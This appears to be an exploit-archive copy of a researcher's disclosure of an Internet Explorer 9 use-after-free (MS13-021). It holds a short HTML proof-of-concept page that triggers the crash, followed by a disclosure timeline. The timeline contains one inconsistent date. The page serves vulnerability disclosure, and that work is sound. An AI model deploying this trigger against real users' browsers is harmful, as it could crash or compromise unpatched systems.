Microsoft Internet Explorer 9 – IEFRAME CView::EnsureSize Use-After-Free (MS13-021)
<!-- Source: http://blog.skylined.nl/20161216001.html Synopsis A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path. Details This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below. Repro.html: --> <!DOCTYPE html> <html> <head> <script defer> var oElement = document.getElementById("ruby"); var oElement = oElement.parentNode.removeChild(oElement); document.write("<abbr></abbr>"); document.documentElement.offsetTop; setTimeout("location.reload()", 100); </script> </head> <body> <abbr dir="ltr"> <ruby id="ruby" dir="rtl"> </ruby> </abbr> </body> </html> <!-- Time-line Sometime in October 2012: This vulnerability was found through fuzzing. 29 October 2012: This vulnerability was submitted to EIP. 27 November 2013: This vulnerability was rejected by EIP. 14 January 2013: This vulnerability was submitted to ZDI. 6 February 2013: This vulnerability was acquired by ZDI. 13 February 2013: This vulnerability was disclosed to Microsoft by ZDI. 29 May 2013: This vulnerability was address by Microsoft in MS13-021. 16 December 2016: Details of this vulnerability are released. --> |